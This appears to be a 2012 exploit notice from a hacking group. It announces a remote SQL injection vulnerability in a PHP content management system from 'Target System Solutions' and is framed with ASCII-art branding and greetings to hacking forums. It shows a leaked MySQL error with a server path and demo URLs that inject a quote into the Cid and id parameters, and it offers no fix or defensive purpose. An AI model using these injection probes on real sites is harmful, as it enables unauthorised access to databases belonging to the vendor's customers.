Target Systems Solutions suffers from a remote SQL injection vulnerability.
fc1ae3fdcfd77f0f1cc4d43f9ec6cb0c756528553036419cf7781f4af7b1ec5b
.___ __ .__
__| _/____ ____ ____ _____/ |_| |__
/ __ |/ _ \ / \ / ___\ / _ \ __\ | \
/ /_/ ( <_> ) | \/ /_/ > <_> ) | | Y \
\____ |\____/|___| /\___ / \____/|__| |___| /
\/ \//_____/ \/#==#[A|B|H]-H4ck3r#==#
================================================================
# Exploit Title : Target System Soulutions SQL inj: vulnerable
# Google Dork : -
# Date : 1-3-2012
# Author : donGOth | mm1337
# Service Provider : service provided by tss-est
# Tested on : Vista
# Platform : php
================================================================
[+] SQL Error Statement :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/mgba/public_html/cms/msic/db_fnc.php on line xxx
[+] Demo :
http://www.localhost.com/index.php?ACT=2&Cid='1277368109877
http://www.localhost.com/index.php?ACT=8&id='1298731587965
#
######################################################################################
x Greetz to all [mmhackforums.noonhost.com]-[http://cvtteam.tk]-[hakforums.net]-[A|B|H] -
######################################################################################
x-[+] i'am ##########################################################################
-------------<< [ dongoth ] ^^ [ GaNgst3r ] ^^ [ nGa Sa Lu ] >>-----------------------x
######################################################################################
======================================================================================